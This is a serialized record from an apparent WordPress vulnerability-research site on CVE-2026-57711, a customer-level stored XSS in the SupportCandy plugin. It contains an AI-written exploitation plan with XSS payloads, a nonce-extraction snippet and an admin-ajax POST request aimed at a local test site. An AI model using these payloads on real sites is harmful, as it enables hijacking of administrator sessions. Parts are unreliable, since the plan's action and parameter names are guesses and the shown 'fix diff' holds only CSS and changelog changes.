[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fa2tr0x7bo8_h6Xalv5Q6Fw45rFxWomhstCfOUvJe8PQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-57711","supportcandy-ai-customer-support-ticket-system-live-chatbot-agent-authenticated-customer-stored-cross-site-scripting","SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent \u003C= 3.4.8 - Authenticated (Customer+) Stored Cross-Site Scripting","The SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.4.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with customer-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","supportcandy",null,"\u003C=3.4.8","3.4.9","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-10 00:00:00","2026-07-14 19:32:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F222fab17-65bf-43af-9a42-475fd2643a69?source=api-prod",5,[22,23,24,25,26,27,28,29],"changelog.txt","framework\u002Fstyle-rtl.css","framework\u002Fstyle.css","i18n\u002Fsupportcandy.pot","includes\u002Fadmin\u002Fclass-wpsc-admin.php","includes\u002Fadmin\u002Femail-notifications\u002Fclass-wpsc-en-settings-tn.php","includes\u002Fclass-wpsc-cron.php","includes\u002Fclass-wpsc-current-user.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-57711 (SupportCandy Stored XSS)\n\n## 1. Vulnerability Summary\n**SupportCandy** (up to 3.4.8) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficiently sanitize or escape user-provided input when creating or updating support tickets. Authenticated users with \"Customer\" privileges can inject malicious scripts into ticket fields (such as Subject, Description, or Custom Fields). These scripts are stored in the database and executed in the context of any user (typically an Agent or Administrator) who views the affected ticket in the SupportCandy management interface.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** `admin-ajax.php` (via SupportCandy's AJAX handlers).\n*   **Vulnerable Action:** `wpsc_create_new_ticket` (inferred action for ticket creation) or `wpsc_set_ticket_reply`.\n*   **Vulnerable Parameters:** `subject`, `description`, or custom field IDs (e.g., `wpsc_field_1`).\n*   **Authentication Level:** Authenticated (Customer-level role or higher).\n*   **Preconditions:** The plugin must be configured to allow Customers to create tickets, and a page must exist containing the SupportCandy frontend shortcode.\n\n## 3. Code Flow\n1.  **Entry Point:** A Customer submits the \"Create Ticket\" form on the frontend.\n2.  **AJAX Handling:** The request is sent to `admin-ajax.php` with an `action` corresponding to ticket creation.\n3.  **Processing:** The plugin receives the POST data. Based on the vulnerability description, the sanitization step (e.g., `sanitize_text_field` or `wp_kses`) is either missing or bypassed for specific fields.\n4.  **Storage:** The unsanitized payload is stored in the `{wp_prefix}wpsc_tickets` or `{wp_prefix}wpsc_ticket_threads` table.\n5.  **Sink:** An Administrator or Agent navigates to the \"Tickets\" list (`\u002Fwp-admin\u002Fadmin.php?page=wpsc-tickets`) or an individual ticket view. The plugin fetches the stored data and echoes it directly into the HTML without calling escaping functions like `esc_html()` or `esc_attr()`.\n\n## 4. Nonce Acquisition Strategy\nSupportCandy uses a centralized JavaScript object for AJAX configuration. To obtain a valid nonce for ticket submission:\n\n1.  **Identify Shortcode:** The primary frontend shortcode is `[supportcandy]`.\n2.  **Setup Page:** Use WP-CLI to create a page with this shortcode:\n    ```bash\n    wp post create --post_type=page --post_title=\"Support\" --post_status=publish --post_content='[supportcandy]'\n    ```\n3.  **Navigate:** Use `browser_navigate` to visit the newly created page as an authenticated Customer.\n4.  **Extract Nonce:** The plugin localizes data into the `supportcandy` object (registered in `includes\u002Fadmin\u002Fclass-wpsc-admin.php`). Use `browser_eval` to retrieve the nonce:\n    ```javascript\n    \u002F\u002F Inferred nonce key based on SupportCandy localization patterns\n    window.supportcandy?.nonce || window.supportcandy?.ajax_nonce\n    ```\n\n## 5. Exploitation Strategy\nThis plan targets the **Subject** and **Description** fields during ticket creation.\n\n### Step 1: Authentication\nAuthenticate as a user with the `wpsc_customer` role (or a standard Subscriber if the plugin is set to treat them as customers).\n\n### Step 2: Payload Construction\n*   **Payload 1 (Subject):** `Ticket Subject \u003Cimg src=x onerror=alert(\"XSS_SUBJECT\")>`\n*   **Payload 2 (Description):** `Detailed description \u003Cscript>fetch('http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\u002F1').then(r=>r.json()).then(d=>console.log(d))\u003C\u002Fscript>`\n\n### Step 3: HTTP Request (Ticket Creation)\nSubmit the payload via the `http_request` tool:\n\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=wpsc_create_new_ticket&\n    nonce=[EXTRACTED_NONCE]&\n    subject=Test Subject \u003Cimg src=x onerror=alert(document.domain)>&\n    description=Test Description&\n    category=1&\n    priority=1\n    ```\n    *(Note: Parameter names like `subject` and `description` are derived from the `.pot` file mapping).*\n\n### Step 4: Trigger XSS\nLogin as an Administrator and navigate to:\n`http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=wpsc-tickets`\n\n## 6. Test Data Setup\n1.  **Plugin Activation:** Ensure `supportcandy` is active.\n2.  **User Creation:**\n    ```bash\n    wp user create victim_customer customer@example.com --role=subscriber\n    # Ensure SupportCandy recognizes this user as a customer\n    ```\n3.  **Page Creation:**\n    ```bash\n    wp post create --post_type=page --post_content='[supportcandy]' --post_status=publish\n    ```\n\n## 7. Expected Results\n*   The AJAX request should return a success status (e.g., `{\"success\": true}`).\n*   When the Administrator views the ticket list or the individual ticket, a browser alert showing the domain name should appear, or the malicious script in the description should execute.\n\n## 8. Verification Steps\n1.  **Database Check:** Verify the payload is stored unescaped:\n    ```bash\n    wp db query \"SELECT subject FROM wp_wpsc_tickets WHERE subject LIKE '%\u003Cimg%'\"\n    ```\n2.  **DOM Inspection:** Use `browser_eval` in the admin context to check for the presence of the injected element:\n    ```javascript\n    document.querySelector('img[onerror*=\"document.domain\"]') !== null\n    ```\n\n## 9. Alternative Approaches\n*   **Custom Fields:** If the Subject\u002FDescription are sanitized, target Custom Fields. SupportCandy allows administrators to add custom fields. If the plugin allows Customers to fill these in, they are often overlooked during output escaping.\n    *   Identify custom field ID: `wpsc_field_[ID]`.\n    *   Inject payload into the custom field parameter in the `wpsc_create_new_ticket` request.\n*   **Ticket Replies:** If ticket creation is secure, test the reply mechanism:\n    *   **Action:** `wpsc_set_ticket_reply`\n    *   **Parameter:** `reply_description` or `content`.","The SupportCandy plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 3.4.8. This is caused by inadequate input sanitization and output escaping on ticket fields like Subject and Description, allowing authenticated customers to inject malicious scripts that execute when an administrator or agent views the ticket.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.8\u002Fchangelog.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.9\u002Fchangelog.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.8\u002Fchangelog.txt\t2026-06-04 11:23:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.9\u002Fchangelog.txt\t2026-06-30 12:25:52.000000000 +0000\n@@ -1,5 +1,10 @@\n == Changelog ==\n \n+= 3.4.9 (June 30, 2026) =\n+* New: Added AI chatbot in Productivity Suite (Pro)\n+* Fix: Addressed reported security vulnerability\n+* New: Introduced new developer hook\n+\n = 3.4.8 (June 04, 2026) =\n * New: Added Cloudflare CAPTCHA integration\n * Fix: Resolved PHP notice issues\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.8\u002Fframework\u002Fstyle.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.9\u002Fframework\u002Fstyle.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.8\u002Fframework\u002Fstyle.css\t2026-06-04 11:23:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.9\u002Fframework\u002Fstyle.css\t2026-06-30 12:25:52.000000000 +0000\n@@ -2158,118 +2158,6 @@\n   height: 15px !important;\n }\n \n-\u002F* Merge ticket popup css starts *\u002F\n-.wpsc-merge-container {\n-\twidth: 100%;\n-\tdisplay: block;\n-\tjustify-content: space-between;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-warning {\n-\tbackground-color: #fff8e5;\n-\tpadding: 5px 15px;\n-\tmargin-bottom: 15px;\n-\tfont-size: 14px;\n-\tborder-radius: 5px;\n-\ttext-align: center;\n-\tborder: 1px solid #FFE79B;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box {\n-\twidth: 100%;\n-\tbackground-color: #f0f0f0;\n-\tposition: relative;\n-\tdisplay: inline-flex;\n-\tborder-radius: 5px;\n-\tpadding: 10px 0px;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box:nth-child(4) {\n-\tmargin-bottom: 10px;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details {\n-\tpadding: 0px 15px;\n-\tposition: relative;\n-\tflex: 1 1 30%;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id {\n-\tpadding: 0px 15px;\n-\tposition: relative;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id > div {\n-\tfont-size: 14px;\n-    color: #777;\n-    background-color: #E5E4E2;\n-    padding: 5px 15px;\n-    border-radius: 5px;\n-    border: 1px solid #D3D3D3;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details h3 {\n-\tfont-size: 14px;\n-\tmargin: 0em 0 0.8em 0;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details > p {\n-\tmargin: 5px 0 15px 0;\n-\tfont-size: 12px;\n-\tline-height: 0.1;\n-\tcolor: #777;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details > span {\n-\tfont-style: italic;\n-}\n-\n-.wpsc-merge-divider {\n-\twidth: 100%;\n-\tdisplay: block;\n-\theight: 0.5px;\n-\tbackground-color: #C8C8C8;\n-\tmargin-bottom: 1em;\n-}\n-\n-.wpsc-comment-textarea {\n-\twidth: 100%;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-direction {\n-\twidth: 100%;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-direction svg {\n-\twidth: 12px;\n-\tpadding: 20px 0px;\n-\tdisplay: flex;\n-\tmargin: auto;\n-}\n-\n-.wpsc-merge-comment-info {\n-\tmargin: 5px 0 15px 0;\n-\tfont-size: 12px;\n-\tline-height: 0.1;\n-\tcolor: #777;\n-}\n-\n-@media screen and (max-width: 768px) {\n-  \n-  .wpsc-merge-comment-info {\n-    line-height: normal;\n-  }\n-  \n-  .wpsc-merge-container .wpsc-merge-box {\n-    display: block;\n-  }\n-\n-\t.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id {\n-\t\tpadding: 0px 15px 10px 15px;\n-\t}\n-}\n-\u002F* Merge ticket popup css ends *\u002F\n-\n \u002F* Agent collision css starts *\u002F\n .wpsc-live-agents {\n   display: flex;\n@@ -2313,4 +2201,4 @@\n \n #wpsc-container input[type=number] {\n   min-height: 30px !important; \u002F\u002F fix for wordpress 7\n-}\n\\ No newline at end of file\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.8\u002Fframework\u002Fstyle-rtl.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.9\u002Fframework\u002Fstyle-rtl.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.8\u002Fframework\u002Fstyle-rtl.css\t2026-06-04 11:23:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsupportcandy\u002F3.4.9\u002Fframework\u002Fstyle-rtl.css\t2026-06-30 12:25:52.000000000 +0000\n@@ -2172,116 +2172,6 @@\n   padding-right: 0px !important;\n }\n \n-\u002F* Merge ticket popup css starts *\u002F\n-.wpsc-merge-container {\n-\twidth: 100%;\n-\tdisplay: block;\n-\tjustify-content: space-between;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-warning {\n-\tbackground-color: #fff8e5;\n-\tpadding: 5px 15px;\n-\tmargin-bottom: 15px;\n-\tfont-size: 14px;\n-\tborder-radius: 5px;\n-\ttext-align: center;\n-\tborder: 1px solid #FFE79B;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box {\n-\twidth: 100%;\n-\tbackground-color: #f0f0f0;\n-\tposition: relative;\n-\tdisplay: inline-flex;\n-\tborder-radius: 5px;\n-\tpadding: 10px 0px;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box:nth-child(4) {\n-\tmargin-bottom: 10px;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details {\n-\tpadding: 0px 15px;\n-\tposition: relative;\n-\tflex: 1 1 30%;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id {\n-\tpadding: 0px 15px;\n-\tposition: relative;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id > div {\n-\tfont-size: 14px;\n-  color: #777;\n-  background-color: #E5E4E2;\n-  padding: 5px 15px;\n-  border-radius: 5px;\n-  border: 1px solid #D3D3D3;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details h3 {\n-\tfont-size: 14px;\n-\tmargin: 0em 0 0.8em 0;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details > p {\n-\tmargin: 5px 0 15px 0;\n-\tfont-size: 12px;\n-\tline-height: 0.1;\n-\tcolor: #777;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-box .wpsc-merge-ticket-details > span {\n-\tfont-style: italic;\n-}\n-\n-.wpsc-merge-divider {\n-\twidth: 100%;\n-\tdisplay: block;\n-\theight: 0.5px;\n-\tbackground-color: #C8C8C8;\n-\tmargin-bottom: 1em;\n-}\n-\n-.wpsc-comment-textarea {\n-\twidth: 100%;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-direction {\n-\twidth: 100%;\n-}\n-\n-.wpsc-merge-container .wpsc-merge-direction svg {\n-\twidth: 12px;\n-\tpadding: 20px 0px;\n-\tdisplay: flex;\n-\tmargin: auto;\n-}\n-\n-.wpsc-merge-comment-info {\n-\tmargin: 5px 0 15px 0;\n-\tfont-size: 12px;\n-\tline-height: 0.1;\n-\tcolor: #777;\n-}\n-\n-@media screen and (max-width: 768px) {\n-  \n-  .wpsc-merge-comment-info {\n-    line-height: normal;\n-  }\n-  \n-  .wpsc-merge-container .wpsc-merge-box {\n-    display: block;\n-  }\n-\n-\t.wpsc-merge-container .wpsc-merge-box .wpsc-merge-id {\n-\t\tpadding: 0px 15px 10px 15px;\n-\t}\n-}\n \u002F* Merge ticket popup css ends *\u002F","To exploit this vulnerability, an attacker first authenticates with a 'Customer' role and retrieves a valid nonce by visiting a page containing the '[supportcandy]' shortcode, where the plugin localizes its settings into the JavaScript `supportcandy` object. The attacker then submits an AJAX request to `admin-ajax.php` with the action `wpsc_create_new_ticket` (or uses the frontend form), including a malicious script payload in the `subject` or `description` parameters. Because the plugin fails to sanitize this input, the payload is stored in the database. The XSS is triggered when an Administrator or Agent views the ticket list or the individual ticket thread in the WordPress backend management interface.","gemini-3-flash-preview","2026-07-15 10:14:28","2026-07-15 10:15:14",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","3.4.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsupportcandy\u002Ftags\u002F3.4.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.4.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsupportcandy\u002Ftags\u002F3.4.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.4.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsupportcandy\u002Ftags"]